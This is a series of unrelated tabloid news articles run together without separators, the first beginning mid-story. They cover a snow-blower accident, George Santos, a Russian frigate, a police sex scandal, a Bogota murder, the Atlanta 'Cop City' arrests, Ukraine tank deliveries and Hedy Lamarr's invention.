Pictured: Dave's wife Clare and their daughter, Isla. Clare raised the alarm during the incident and authorities were able to get Isla quickly to a local hospital

A GoFundMe post from January 11 read: 'Dave has been medically transferred to Sydney, Australia but is still admitted in hospital. Clare, Isla and Anna are now back in Sydney where Isla is attending medical appointments several times a week.

'Together they will begin the long rehabilitation process both physically and mentally.'

Christina Ackerman, the assistant to the chief of the Mammoth Lakes Police Department, told PEOPLE that officers responded to a call at 9:08 a.m. on Minaret Road, which is in the vicinity of the popular ski area Mammoth Mountain.

Dave was transported to Reno to treat the extensive wounds caused by the snow blower.

Mechanical road snow blowers are designed to clear snow and widen passages.

The tractors are mechanically or hydraulically driven. Some feature a corkscrew-like blade that pulls up the snow before it is blown out to the side of the road. They can weigh more than 1,000 lbs.

Pictured: Dave and Isla at the hospital. Isla is now recovering at home with Clare and Anna

In a post from January 16, Bogan said of Anna, who was not injured in the accident: 'Anna is doing her best to bea little sister who knows her sister can't chase herfor now.'

The post said Claire was managing to look after the family by being 'brave, courageous, and quite frankly using every ounce of strength she has to hold life together'.

It added: 'She is doing her best keeping the girls busy with visits to see Daddy, trips to the park and play dates with friends to keep the fighting spirits of the girls up.'

In an update on Saturday, Bogan said Dave underwent yet another surgery on January 20 to get the sutures in his right leg removed as he continues to have procedures completed on other areas of his body.

The post also noted that Isla had emergency surgery recently and is recovering at home with Clare and Anna.

Bogan had previously said that Isla was in a wheelchair but was gradually getting back to being herself.

Dave and his father and brother in a picture shared in a GoFundMe post on January 21

Bogan wrote on Saturday: 'Anna is excited to have her cousins visiting briefly, and Clare is phenomenally resilient and organized despite having no time to scratch herself between the regular motherly duties combined with moving countries, trying to find a house to live in and relentless medical appointments.'

He posted a picture of Dave smiling with his brother and father in matching shirts.

The fundraiser has so far generated more than $74,000 towards a goal of $100,000.

The Miln family are trying to re-establish themselves in Sydney.

Some of the planned uses for funds include 'vehicle modifications for Dave, household equipment and modification, and other bits and pieces that Dave will need in adapting to his disability'.

Shortly after the accident, Bogan wrote: 'This life-changing incident means the Miln's "California Dream" has come to an early end.

'During this time Clare and Dave have shown strength and resilience beyond comprehension.

'The family has banded together with positive determination for the future. Many of us have been shaken by this news and [we are] searching for a way to support the Milns during this unthinkable time.'
New York Republican Rep. George Santos told reporters on Tuesday that he will not be going to President Joe Biden's White House reception for new members of Congress this evening.

He quickly walked away from a mob of reporters waiting outside of his office, where he left Dunkin Donuts after promising a 'surprise' for journalists who have been covering his time on Capitol Hill.

The freshman lawmaker has been under mounting scrutiny as details of his backstory continue to unravel, and questions rise about the source of his recent wealth.

Asked whether he's been mulling re-election, Santos told reporters it was too early to say.

He answered DailyMail.com's query on whether he's going to the White House tonight, 'How many times do I have to answer the same question? Yes, Im not going.'

Santos would not give a reason why he's not attending, but he joins at least two other freshman Republicans in turning down the invitation.

Since he arrived in Washington earlier this month, the New York congressman's office in Capitol Hill's Longworth building has been surrounded by reporters and TV cameras hoping to catch a word about the steady drip of new revelations suggesting the congressman has been untruthful.

On Tuesday morning, those reporters were met with a box of a dozen donuts in a Dunkin box, a case of Dunkin brand coffee and the necessary plasticware and cups - left earlier by Santos himself.

As of just after 10am, it appeared that most of the donuts were taken.

Santos posted a video of himself bringing the donuts later on Tuesday morning, writing on Twitter: 'Surprise, hope all enjoyed the Dunks!'

Rep. George Santos left a box of Dunkin Donuts outside of his office on Tuesday morning

A significant number had been taken as of just before 9am on Tuesday, when DailyMail.com first observed the area outside of Santos' office

DailyMail.com observed Capitol Hill staffers curiously sample the breakfast snacks - which appeared untouched by most of the reporters themselves, save for a couple of hungry exceptions.

'Enjoying the donuts, I see,' one Santos staffer quipped to the press upon seeing the half-empty box.

It comes a day after a new poll showed most New Yorkers want Santos to resign, after he admitted to lying about his college education, career, family heritage and a number of other details.

Fifty-nine percent of respondents said they want Santos to resign, compared to just 17 percent who said they want him to stay on Capitol Hill.

Just under a quarter said they had no opinion on his political career.

His overall favorability rating is also low, at just 16 percent.

Even among fellow Republicans, a 49-percent plurality want him out of Congress.

The freshman Republican from New York has been under intense scrutiny over questions about his backstory and misleading claims

He's remained defiant in the face of calls to resign, and promised a 'surprise' for the reporters who have been swarming his office since he first got to Capitol Hill

A whopping 71 percent of suburban New York residents polled want him to resign, as well as 58 percent of those who call the Big Apple home.

But he's so far brushed off all calls to step aside, insisting he's focused on serving the people of New York's 3rd Congressional District.

The poll emerged hours before MSNBC resurfaced a clip of Santos telling a Brazilian outlet that he had survived an assassination attempt.

'We have already suffered an attempt on my life, an assassination attempt, a threatening letter, having to have the police, a police escort standing in front of our house,' he said in the interview, according to MSNBC's translation.

He did not elaborate on the alleged incident in the clip shown.

But Santos also reportedly claimed in the clip to have been mugged 'in the middle of Fifth Avenue' of New York City, in broad daylight sometime during 2021.

'And that wasn't the worst of it. Nobody did anything, nobody did anything. The fear is real. It's surreal what we live through here,' the congressman said, according to the translation.
A Russian frigate carrying 'unstoppable' Mach 9 nuclear-capable hypersonic cruise missiles has deviated from its course and is sailing towards the US coast, reports have claimed.

The Admiral Gorshkov, armed with Zircon missiles which Vladimir Putin boasts has 'no equivalent in the world', is being closely monitored by NATO navies during its maiden voyage.

Earlier this month, the frigate was escorted through British waters by the Royal Navy, and French and Spanish ships then escorted it through the Atlantic.

It was scheduled to head south past South Africa to the Indian Ocean then enter the Mediterranean Sea through the Suez Canal.

A Russian frigate carrying 'unstoppable' Mach 9 nuclear-capable hypersonic cruise missiles has deviated from its course

But monitoring sites claim it took a sudden diversion and headed west towards Bermuda.

An unconfirmed Russian Telegram channel report says the warship was 'spotted on radar in neutral waters of the Atlantic Ocean - at an effective salvo launch distance from the US coast'.

The Russian defence ministry has not commented on the Navodka channel claim.

Radar monitoring sites suggest the Gorshkov separated from its tailing tanker ship Kama in the Bay of Biscay and headed west.

The Kama has continued its routing to the south, passing the Azores.

The frigate carrying the Mach 9 missiles had been tracked 807 miles west of the Portuguese island of Flores in the Azores, suggested ItaMilRadar.

Russia's Admiral Gorshkov is pictured during a test launch of its Zircon missiles in the Barents Sea

Monitoring sites claim it took a sudden diversion and headed west towards Bermuda

Pictured: Launch of an 'unstoppable' Zircon nuclear-capable hypersonic missile from the Admiral Gorshkov

Pictured: The Russian frigate 'Admiral of the Fleet of the Soviet Union Gorshkov' armed with Zircon hypersonic weapons leaves the naval base in Severomorsk, January 4, 2023

If so, at this distance it would not at this point be in range of the US for its deadly Zircons.

The frigate is also carrying Kalibr missiles, a type used in Russia's aggression in Ukraine.

Putin personally took part - remotely - in the farewell ceremony when the warship departed from Arctic naval base Severomorsk on 4 January.

He made clear this mission was intended as a show of strength to the West.

He boasted that NATO could not match his 'latest-generation' hypersonic firepower.

He said: 'I am sure that such a powerful weapon will allow us to reliably protect Russia from potential external threats and help ensure our country's national interests.'

The cutting-edge frigate Gorshkov is due to sail to the Indian Ocean and Mediterranean on this mission.

Next month it will take part in exercises with the Chinese and South African navies near the ports of Durban and Richards Bay.

It is not clear why the frigate would head towards the US.

Royal Navy Type 23 frigate HMS Portland monitored the Russian warship and accompanying tanker Kama as they sailed close to the UK.

Earlier the Norwegian navy paid close attention to Putin's hypersonic mission.

Moscow has boasted that the Gorshkov is 'the most dangerous enemy of surface ships in the world's oceans' now it is armed with the new hypersonic missile.

The frigate's captain Igor Krokhmal has said previously: 'No one will see the missile launch or its flight.

'They will only see when the missile hits the target.

'A surface target, a coastal target. I don't think there will be anything to counter this in the next few years.'
The Tennessee cops involved in the Girls Gone Wild hot tub party and office sex scandal will not be criminally charged - after the department fired nearly 10 percent of its staff.

Maegan Hall, 26, was at the forefront of the investigation that unraveled in December when it was revealed she performed oral sex on several of her colleagues and ripped her top off at a family boat party.

The La Vergne Police Department told DailyMail.com that it would be up to the district attorney's office to decide future charges. The DA has not returned a request for comment.

But for now, the DA's office declared the scandal policy-related and not criminal, WSMV reported.

Maegan Hall, 26, and her fellow-cop sex groupie will not be criminally charged

Larry Holladay (left) reported 'multiple sexual encounters' with Hall at his house and hotels, as recently as November. Patrick Magliocco had an ongoing sexual relationship with Hall that he said his wife was in on. The district attorney's office declared the scandal police related and not criminal

Hall and her colleagues appear to be off the hook for now as she previously told DailyMail.com last week that she is focused on 'moving on ' with her life.

The shameless siren was fired this month along with fellow officers Sgt. Lewis Powell, Detective Seneca Shields, Patrol Officer Juan Lugo and Sgt. Ty McGowan.

Three other officers involved were suspended, meaning over 10 percent of the 60-person department are out as a result of the scandal.

An internal investigation determined that Hall had performed oral sex on Powell and Shields while on duty and had flings with Lugo and most likely also McGowan.

Patrol Officer Patrick Magliocco, K-9 officer Larry Holladay, and Patrol Officer Gavin Schoeberl were suspended without pay.

Hall had exchanged naked photos with several men, including Schoeberl, McGowan, Holladay, Lugo and Shields, a report revealed.

While most of the acts played out while the officers were on night duty, they also transgressed in hotel rooms and outdoors.

Officers Lewis Powell (left) and Detective Seneca Shields were fired for engaging in sexual relationships with Hall while on duty. Powell confessed to the allegations after initially denying he was sexually involved with her, while Shields admitted to having oral sex with Hall in the department's gym while on duty

Hall had exchanged naked photos with several men, including Schoeberl (left) and Lugo and Shields

Powell, who is married, initially denied having a sexual relationship with Hall several times and claimed that 'everybody knows she has multiple partners.' He later confessed.

Sergeant Henry Ty McGowan allegedly had a naked meeting with Hall before she was officially hired

Holladay, meanwhile, reported 'multiple sexual encounters' with Hall at his house and hotels, as recently as November.

As did Magliocco, who revealed that his wife Amy also got involved in Spring 2022 in a bungled attempt to coax Hall's husband Jedidiah into a night of bed-swapping.

Magliocco also admitted to pouring vodka down Hall's throat and having drunken sex with her at a 'girls gone wild' boat party on board a colleague's houseboat to celebrate Memorial Day with their families. Hall's husband wasn't present.

McGowan hesitated to open up about his own romps with Hall, but it was later revealed he had a naked meeting with her before she was officially hired.

'McGowan struggled to share that when Hall was a candidate and in process of being hired, Hall and her husband [Jedidiah], McGowan, and another female met up at her house,' the report states.

'During that meeting, Hall was naked, the other female got naked, and Hall's husband got upset.'

Past allegations against McGowan also surfaced during the investigation that included an allegation that he choked a female co-worker.

Lugo-Perez initially denied the claims to investigators but later admitted he had sex with Hall while at the Go Cart USA in Murfreesboro.

Hall told officers she was in an open marriage and tried to recruit her husband Jedidiah for swinging sessions, but he was not on board, the investigation found

DailyMail.com earlier revealed Jedidiah, a former state park ranger who had been training for the Tennessee Highway Patrol, has decided to stand by his wife despite the sex scandal

DailyMail.com revealed last week how Hall boasted to her groupie that she was in an open marriage and tried to recruit her sheriff's deputy husband for swinging sessions.

Jedidiah Hall, the son of a pastor, 'wasn't really on board' and instead confronted his wife of four years for cheating, according to an internal investigation.

Despite the contention, Jedidiah, 28, a former state park ranger with a master's degree from Middle Tennessee State University, is sticking with his wife and trying to work through their problems.

The pair have been sweethearts since their college days and got married in November 2018, and in March of last year bought their first family home in Manchester, 60 miles south of Nashville.

Hall was already on the verge of losing her job for repeatedly crashing her patrol car over the two years she was with the La Vergne Police Department

DailyMail.com revealed last week Hall was already on her last warning after she cost her bosses thousands of dollars in damage and even landed herself in the hospital in a series of 'preventable' car accidents.

The first of married Hall's three fender benders came in November 2021, nine months after she signed up, according to documents obtained through a freedom of information request.

She was responding to a reported threat with a weapon, the report states.

'While responding she traveled on Floyd Mayfield and crossed over the dip at Sand Hill at a high rate of speed.

'She failed to slow down going through the intersection. This resulted in functional damage to her patrol car of $1,000.'

Hall was in hot water again the following year when she slammed into another vehicle, earning herself a day's suspension.

'She states she was attempting to merge lanes due to her lane ending on to Murfreesboro Road,' reads an account of the July 14 crash.

'Hall states she thought the driver of the vehicle in front of her had already merged and accelerated onwards. These actions caused a collision between the vehicles. Initial repairs for both vehicles are between $3,000 and $4,000.'

Her pay was bumped from $39,624 per year to $53,069 in the summer of 2022 but after a third crash on October 21  the most serious of the three  she was suspended for four days.

This time she was leaving her police station to respond to an assault when she pulled out across several lanes of traffic, straight into the path of a van.
Colombian authorities have confirmed that a Texas man fled to Panama hours after his DJ girlfriend was found stuffed in a suitcase that was thrown in a dumpster in the capital city of Bogota.

John Poulos, 35, boarded a flight at El Dorado International Airport to Tocumen International Airport in Panama City on Sunday following the gruesome discovery of Valentina Trespalacios, 23, Caracol TV reported Tuesday night.

It's unknown if Poulos is still in the Panamanian capital city or if he had fled to another country. The Colombian National Police has yet to issue an arrest warrant for him.

Trespalacios changed residence Friday and moved into a home Poulos had rented on the northern side of Bogota. The couple spent the weekend dining and partying. It ended in tragedy when a homeless person who was searching for recyclables discovered a blue suitcase with Trespalacios' body in it and alerted the police.

An autopsy report indicated that Trespalacios was strangled with a rope and that her body was bruised.

John Poulos (left) was planning on moving to Colombia and marrying Valentina Trespalacios (right)

A homeless man was searching through a waster container in the Bogota neighborhood of Los Cambulos when he discovered the suitcase with Valentina Trespalacios' body

Her family has called on the Colombian government to carry out an international search for Poulos, whom they believe is responsible for Trespalacios' death.

However, the Colombian National Police was still investigating the case. Investigators were have been carrying out a search of the home where the couple had moved into. There is also an active search for the 2021 Volkswagen Voyager that Poulos had recently rented.

Trespalacios and Poulos had been dating for eight months despite the English-Spanish language barrier and used translating apps to communicate although Trespalacios spoke a little English.

The Colombian National Police said investigators have been analyzing a surveillance video that shows the moment a man tossed the suitcase inside the construction dumpster in the Bogota neighborhood of Los Cambulos and disappeared.

Authorities have yet to identify the person in the footage, which had not been made public as of Tuesday afternoon.

A government official with Colombia's migration agency confirmed to Caracol TV that Poulos boarded a flight for Central America.

El Tiempo newspaper confirmed that Poulos has been in Colombia for a week before fleeing.

The Colombian National Police and the Office of the Attorney General declined to tell DailyMail.com where Poulos flew to because the investigation is still active.

A rideshare app driver who drove the couple to a nightclub told Caracol TV he sensed Trespalacios was in trouble when she showed him a message on the company app that said, Help, I am in danger.

The driver, whose name was not revealed by the outlet, said that Trespalacios started making hand gestures and Poulos arrived at the car and asked if everything was ok with her before she replied yes three times.

The couple got into the car and Poulos asked if he spoke English. The man replied that he did and added that Poulos remained quiet the entire trip. He said that Poulos and Trespalacios were exchanging messages on WhatsApp. He dropped them off at a club at 3:48 am.

A preliminary autopsy report showed that Colombian DJ Valentina Trespalacios was strangled

A preliminary autopsy report showed that Colombian DJ Valentina Trespalacios was strangled

On Friday, Valentina Trespalacios sent a video to her mother, Laura Hidalgo, showing the couple listening to music in a the car driven by Poulos.

During the recording, Trespalacios aims the cellphone camera towards the back of the car and tells her mother that she had loaded all of her belongings and that she was going to go to her home Saturday.

Hidalgo told RCN Noticias that her daughter was going to move into an apartment with Poulos.

In an interview Caracol TV, Hidalgo said that that Poulos met Trespalacios at a party she was hired to play music at and that he planned to move to Colombia and marry her.

'He had good intentions, he met us, her brothers, he had the intention of getting married, making a life here in Colombia with her, investing in Colombia,' Hidalgo said. 'He supposedly came all the way to Colombia, I don't know what happened.'

According to a recently deleted LinkedIn page, Poulos was hired as a financial advisor by Vanguard in 2022.

Colombian DJ Valentina Trespalacios (pictured) was found dead in a suitcase that was tossed inside a dumpster in Bogota. Her family suspects her boyfriend from Texas, John Poulos, killed her

Colombian authorities confirmed Tuesday that John Poulos (picutured) fled the South American country on a flight for Panama on Sunday, hours before the body of his girlfriend, Valentina Trespalacios, was discovered inside a suitcase, Authorities have yet to issue an arrest warrant

The distraught mother described Poulos as someone who 'didn't come off as an aggressive person, he seemed calm, very calm.'

However, she noted that he had become jealous of Trespalacios.

'He became very obsessed with my daughter and he was a little jealous. He had an argument in December with my daughter and it was out of jealousy, because my daughter had many suitors because she was very beautiful.'

Trespalacios' family said Poulos had deleted his social media pages and stopped responding to their messages.

Still image from a video sent by Colombian DJ Valentina Trespalacios (left) on Saturday while her boyfriend from Texas, John Poulos (right), drove in Bogota hours before she was found dead stuffed in a suitcase that was abandoned in a dumpster. Poulos fled the country on a flight for Panama on Sunday before his wife-to-be was found by a homeless person searching for recyclables

Valentina Trespalacios had opportunities to DJ in Chile, Mexico and Brazil, her family said

Her uncle, Carlos Trespalacios, told Blu Radio that the couple appeared to be having a good time as evidenced by the photos that she shared of them smiling on her WhatsApp status feed.

'She was in a suitcase, dismembered with the pajamas in which she usually slept and we are asking the authorities to speed up this part,' he said.

'She went out to party with her American fiance on Friday and Saturday, so much so that she shared WhatsApp messages while at the nightclub. There is no doubt that they were (hanging out), so we want him to appear, to show face, to give us his version, to tell us where he left her, what happened to her?'

A recently deleted LinkedIn account for John Poulos showed that he had been working for Vanguard as financial advisor since 2022

Daniel Felipe Trespalacios recalled talking with his sister while she spent her first night at the apartment located in the northern side of the Colombian capital.

The 13-year-old boy told Caracol TV that their mother sensed something was not right when his sister texted her, 'Mommy, life is not easy, everything has a price.'

'My mom took it as the guy treated her badly or something and told her 'daughter, you don't need that, you don't need to give us more, you already give us a lot,'' he said.

Daniel Felipe Trespalacios said the family had nothing but a warm feelings about Poulos and never expected him to be involved in his sister's murder.

'He had already gone to Mexico with my sister,' he said. 'We did not distrust him because it seemed to us that too many things had happened to cause us to distrust. If he loved her as they say, he would be the first to be here showing his face to see what is happening with my sister.'
This is the moment thugs in a 'stolen' BMW and Bentley rammed into cars on a busy pedestrian street in east London.

In the footage, innocent bystanders can be seen running out of the road as a BMW rams into the the side of a car.

A commotion can be heard as the vehicle reverses and a woman can be heard screaming 'call the police, please call the police'.

During the incident, a man can be seen getting out of the driver's side of the vehicle and going into the car and then back to the BMW.

Seems like stolen Bentley has been involved in some crazy incident this morning in Barking 



Cc @Ig1Ig3 pic.twitter.com/6mwp4AG4zO  London & UK Street News (@CrimeLdn) January 24, 2023

After the BMW has reversed back in the street it then forcefully drives towards the car

A white Bentley behind the BMW also speeds off in the same direction

As this is happening, an unphased mother crosses the street pushing a pram.

After the BMW has reversed back in the street, believed to be St Awdrys Road in Barking, east London, it then forcefully drives towards the car, knocking it backwards with a loud bang.

The BMW then manages to drive past it while scraping the side of the car as people scream in the background.

A white Bentley behind the BMW also speeds off in the same direction, causing further damage to the vehicle.

It is believed the vehicles are stolen.

The Metropolitan Police said it had received no calls at this location this morning.
The Biden administration is moving closer to sending Abrams M1 tanks to Ukraine, a step that would provide diplomatic cover for Germany to send its own Leopard tanks and approve delivery from other nations.

A U.S. announcement could come as early as this week.

American officials have repeatedly said the sophisticated Abrams, which guzzles fuel and needs extensive training, would not suit Ukrainian forces.

But the decision would close a rift between the U.S., Germany and other European nations in how far to go in arming Ukraine ahead of what it is believed to be a key phase of the war, as Vladimir Putin plans major spring offensive.

The Biden administration is moving closer to sending Abrams M1 tanks to Ukraine, according to the Wall Street Journal, a step that would provide diplomatic cover for Germany to send its own Leopard tanks and approve delivery from other nations

President Volodmyr Zelensky has asked repeatedly for tanks as the next phase of the war in Ukraine looms, but President Joe Biden has adopted a cautious approach

Last week, the U.K. announced it was sending Challenger 2 main battle tanks to Ukraine, but that did not spur the U.S. or Germany to immediately follow suit.

German officials are said to be worried about the sight of their tanks operating close to the Russian border, with echoes of the Nazi advance during World War II.

Meanwhile, European diplomatic sources have frequently expressed frustration with President Joe Biden's cautious approach, which they say pays too much heed to Russia's threats of escalation.

The Wall Street Journal reported on Tuesday that that appeared to change after a Jan. 17 call between Biden and German Chancellor Olaf Scholz, in which the U.S. president agreed to consider supplying Abrams.

A senior German official said the dispute appeared to be close to resolution.

At the same time, Poland on Tuesday morning officially asked for permission from Germany to supply Leopard 2 tanks to the war effort.

Ukrainian soldiers ride atop an infantry fighting vehicle during offensive and assault drills in the southern Zaporizhzhia region

A soldier fires a RPG-7 anti-tank grenade launcher during exercises earlier this week

Russia warns 'nothing good' will come of German tanks fighting in Ukraine Polish soldiers in German-made Leopard 2 tanks which German chancellor Olaf Scholz has been blocking from being sent to Ukraine Advertisement

German exports of their tank require Berlin to give approval before they can be re-exported.

Amid those developments, Russia further ratcheted up the tension.

Kremlin spokesman Dmitry Peskov said, 'these deliveries would bring nothing good to the future relationship' between Berlin and Moscow, adding: 'They will leave a lasting mark.'

It comes as Ukrainian advances at the end of last year stalled with frontlines static for the past two months.

Ukraine says tanks are crucial for the next phase of the war, giving its ground troops the protection and firepower to move ahead.

'We need tanks - not 10-20, but several hundred,' President Volodymyr Zelensky's chief of staff Andriy Yermak wrote on Telegram.

'Our goal is (restoring) the borders of 1991 and punishing the enemy, who will pay for their crimes.'

This year some allies have begun talking openly about the defeat of Russia, rather than a negotiated settlement.

British Foreign Secretary James Cleverly brought the message to Washington last week, when he said that Putin was more vulnerable than ever.

Last week, the UK said it would send Challenger 2 tanks (pictured above) to Ukraine

'Until recently, his attacks on civilian infrastructure have been done with cruise missiles,' he told the Center for Strategic and International Studies think tank.

'He's now using ballistic missiles to do the same thing - much, much, much more expensive.

'He's doing it clearly because he's running low on other munitions.

'So this is the time, if we want to bring this to a successful conclusion - and, of course, we should and we do - we should look to bring it to a conclusion quickly.

'The conclusion has to be a Ukrainian victory and that dictates, therefore, that we need to intensify our support at this point in time, while Russia has been on the back foot, to give the Ukrainians the tools they need to get the job done.'

Last week, discussions were held about the delivery of weapons from the West at the Ramstein airbase in southern Germany, but Scholz still held firm.

German defence group Rheinmetall said it could delivery 29 Leopard 2A4 tanks by April/May and a further 22 of the same model around the end of 2023 or early 2024, if Scholz gives the word.

It could also supply 88 older Leopard 1 tanks, a spokesman said.
Three men accused of stabbing a 32 year-old man near Waterloo Station denied murder in court today.

Adrian Keise, from Lambeth, was found with stab wounds near a block of flats in Frazier Street in South London in the early hours of October 29.

Paramedics treated him at the scene before taking him to hospital, but he died a short time later.

Paul Yusuff, 20, Matthew Yusuff, 22, and Moussa Traore, 23, all denied murder when they appeared at the Old Bailey via videolink.

Adrian Keise, from Lambeth, was found stabbed in south London on October 29 shortly before he died

The police barrier at the scene of the alleged attack. Three men have denied murdering Mr Keise

Paul Yusuff also denied possession of a knife in a public place.

Their trial was fixed for November 6 and is estimated to last three weeks.

Judge Mark Dennis said: 'I'm conscious we're looking at November which is a long way off and a lot can happen.'

Traore, of Wandsworth, and Matthew and Paul Yusuff, both of Southwark, were remanded in custody.
Two of the six Antifa protesters arrested for allegedly firebombing an Atlanta police cruiser have been released on bond.

Ivan Ferguson, 23, of Nevada, and Graham Evatt, 20, of Decatur, Georgia, were among those charged in the massive riots over the death of another protester who allegedly shot a police officer.

They have been charged with a slew of felony and misdemeanor charges  including domestic terrorism, first-degree arson and riot  but were granted a $355,000 bond on Monday.

Others arrested in the protests will remain in prison without bond as proceedings against them continue, FOX 5 Atlanta reports.

All six were detained after they allegedly set fire to a police cruiser in protest of the police-involved killing of Antifa activist Manuel Esteban Paez Teran, 26.

The protesters are demanding an investigation into his death, but the Georgia Bureau of Investigation insists he did have a gun on him at the time of the shooting on January 18 and was responsible for shooting a Georgia State trooper.

Ivan Ferguson, 23, of Nevada, and Graham Evatt, 20, of Decatur, Georgia, were granted a $355,000 bond on Monday for their roles in a violent riot over the weekend

Violent protests erupted in Atlanta, Georgia following the police-involved killing of 26-year-old Manuel Esteban Paez Teran

Judge Ryan Locke ruled Monday that Ferguson, a classically-trained clarinetist who studied at the prestigious San Francisco Conservatory of Music with an address in Georgia, and Evatt  the only defendant from Georgia  could be granted bond, the Atlanta Journal-Constitution reports.

The two will now have a 24-hour curfew with the exception of school, work, meeting with their attorneys or attending a religious service.

They will also be required to wear an ankle monitor and will be forbidden from having weapons or being in contact with any of the other arrested suspects  the one exception being Nadja Geier, 24, from Nashville, Tennessee; with whom Ferguson is in a relationship.

The others arrested on Saturday for the violent protests at the site of a proposed Atlanta Public Safety Training Center were deemed to be too much of a flight risk to be granted bond, and will now remain in Fulton County jail until their next court appearances, which have not yet been scheduled.

They include Geier, Francis 'Frankie' Carroll, 22, from Kennebunkport, Maine; Madeleine Feola, 22, from Spokane, Washington; and Emily Murphy 37, from Grosse Ile, Michigan.

Authorities say the woke activists, dressed in black uniforms, collided with police in downtown Atlanta as they destroyed vehicles and property.

The protesters allegedly threw rocks and lit fireworks in front of the a skyscraper that houses the Atlanta Police Foundation, shattering its glass windows, before setting a police cruiser on fire and vandalizing walls with anti-police graffiti.

Others charged in the violent riots, which saw a police cruiser set on fire, include Nadja Geier, 24, from Nashville, Tennessee; and Madeleine Feola, 22, from Spokane, Washington

They, along with Francis Carrol, 22, from Kennebunkport, Maine and Emily Murphy 37, from Grosse Ile, Michigan will remain in jail until their next court appearances, which have not yet been scheduled

Georgia Gov. Brian Kemp said they are trying to 'import violence from other states'

A police statement said activists damaged property at several locations along Peachtree Street, a corridor of hotels and restaurants, adding that several arrests were made and 'order was quickly restored'.

Each of the protesters were charged with four misdemeanor charges including pedestrian in a roadway, willful obstruction of a law enforcement officer, riot and unlawful assembly.

Additionally, they were charged with felony counts including second-degree criminal damage, first-degree arson, interference with government property and domestic terrorism.

Their arrests indicate Antifa organizers are recruiting activists from across the country to commit violence in Atlanta. The violent thugs, several who were brought up in wealthy households, believe that police forces should be scrapped.

In a statement on Twitter Monday, Georgia Governor Brian Kemp said: 'Law enforcement demonstrated how quickly we shut down those trying to import violence from other states, and we'll continue to do so.'

A law enforcement vehicle is seen lit on fire during demonstrations on Saturday night

A burned out police car is pictured sitting on the street following the violent protest

Authorities say the protesters, dressed all in black, also threw rocks at a building that houses the Atlanta Police Foundation

The violence came during a 'night of rage' against police after the death of Manuel Esteban Paez Teran, who was shot dead by authorities after allegedly shooting and injuring an officer during an operation to clear protesters from the site.

Antifa members had been gathering at the site of the proposed $90million police training center, setting up camps in a woodland area around the training center in a bid to halt construction.

They argue that the proposed training facility  which they dubbed Cop City  represents Atlanta police becoming increasingly militarized and say the destruction of the forest will exacerbate climate change and lead to more pollution.

The proposal would cut out 381 acres of the Weelaunee Forest, which is currently owned by the state.

But extremists who call themselves the 'Forest Defenders' have become increasingly violent in recent weeks, throwing rocks and even Molotov cocktails at police and contractors at the site.

On January 18, Georgia state troopers and other law enforcement officials were conducting an operation to clear protesters from the site when they say Teran opened fire.

He allegedly shot and injured a state trooper at the scene, who is said to still be recovering from the gunshot wound, when officers fired back. Teran was pronounced dead at the scene.

Members of Antifa have set up camp at the site of a new police training facility in Atlanta

An abandoned protest campsite is seen inside Weelaunee People's Park

Graffiti is seen at the edge of Weelaunee People's Park, the planned site of a controversial 'Cop City' project, days after protestor Manuel Teran died during a police raid, near Atlanta, Georgia

Antifa protesters, though, have disputed this version of events, arguing authorities shot and killed Teran first.

But on Monday, the Georgia Bureau of Investigation sought to clear up any misconceptions  saying that Teran did, in fact, have a gun and shoot at the trooper.

It said the bureau received confirmation from a September 2020 firearms transaction record showing that Teran legally purchased the weapon used in the shooting.

And while 'the officers who were near the incident at the time of the shooting were not wearing body-worn cameras... there is bodycam footage of the aftermath.'
She was both a screen goddess and brilliant inventor who we have to thank for Wi-Fi.

The Austrian-born Jewish-American Hedy Lamarr left her domineering husband behind in the early 1930s and fled to London, where she was spotted by the American chief of MGM studios.

The beauty, who was married six times, emigrated to the United States and went on to star in films with the likes of Spencer Tracy, James Stewart and Clark Gable in what proved to be a glittering career.

Lamarr helped to devise the technology she became most famous for in response to the Nazis' repeated jamming of radio signals being used to guide torpedoes to their targets in the Second World War.

She was both a screen goddess and brilliant inventor who we have to thank for Wi-Fi. Above: Austrian-born Jewish-American Hedy Lamarr with co-star Victor Mature in 1949 film Samson and Delilah

Along with composer and fellow inventor George Antheil, she created a device that allowed 'frequency hopping', which made the radio transmissions harder to intercept and allowed the missiles to reach their target.

The pair based the system on a piano's 88 keys and submitted a patent for the idea in 1941.

A patent was then granted the following year, but the US Navy opted against using the technology in the war.

Instead, Lamarr supported the war effort by using her celebrity to help sell war bonds in her adopted country.

Her technology was later used on US warships during the Cuban Missile Crisis in 1962 - although Lamarr did not receive a penny.

Lamarr left her domineering husband behind in the 1930s and fled to London, where she was spotted by the American chief of MGM studios. Above: Lamarr working as a scientist

The beauty, who was married six times, emigrated to the United States in the 1930s. Above: Lamarr in Samson and Delilah

Lamarr is credited in a total of 35 films, but the actress was reportedly bored of the roles she was given that were often light on lines and focused on her looks

Victor Mature and Hedy Lamarr are seen in the 1949 American film Samson and Delilah

It was this frequency hopping technology that was also a precursor to wi-fi, GPS and Bluetooth, which are all used by billions of people around the world today.

Lamarr was born Hedwig Eva Maria Kiesler to a banker and a pianist in Vienna, Austria in 1914.

She got her start as an actress in her teenage years, debuting in the Czech film Ecstasy at the age of 18 in 1933.

The film was controversial because it portrayed the first female orgasm ever seen in a non-pornographic film.

It was in 1934 that she married her first husband, arms manufacturer Fritz Mandl but quickly became disillusioned with the union and fled their home in the middle of the night.

She later claimed in her autobiography that Mandl had struck up close business ties with the Nazis and alleged that Adolf Hitler and Italy's fascist ruler Benito Mussolini attended parties at his home.

The inventor later said of him: 'I knew very soon that I could never be an actress while I was his wife... he was the absolute monarch in his marriage  I was like a doll.

'I was like a thing, some object of art which had to be guarded - and imprisoned -having no mind, no life of its own

The 2017 documentary film Bombshell: The Hedy Lamarr story re-told the story of the film star's incredible life

Hedy Lamarr is seen above in a 1938 promotional image. The first American film she starred in was Algiers, with Charles Boyer in the lead role

Hedy Lamarr poses for a promotional photo in 1940. The actress was widely regarded as one of the most beautiful women in the world

Hedy Lamarr is seen above in 1955, three years before she made her last film

Lamarr is seen in an MGM promotional image in 1941, when she had become a big star in Hollywood

After going to London, it was MGM studio chief Louis B.Mayer who she convinced to hand her a lucrative contract - even though she could only speak a small amount of English at this point.

Lamarr then moved to the US and mixed with the likes of future US President John F Kennedy and the aviation millionaire Howard Hughes - who she dated - in Beverley Hills.

He gave her the equipment she needed to run experiments in her trailer and took her to his aeroplane factory, where he showed her how his machines were built.

After seeing his planes, Lamarr sketched a new wing design for them, prompting Hughes to brand her a 'genius'.

Lamarr is credited in a total of 35 films, but the actress was reportedly bored of the roles she was given that were often light on lines and focused on her looks.

'Any girl can be glamorous,' she once famously said. 'All you have to do is stand still and look stupid.'

Lamarr, who had three children, went on to marry a further five times after her split from Mandl.

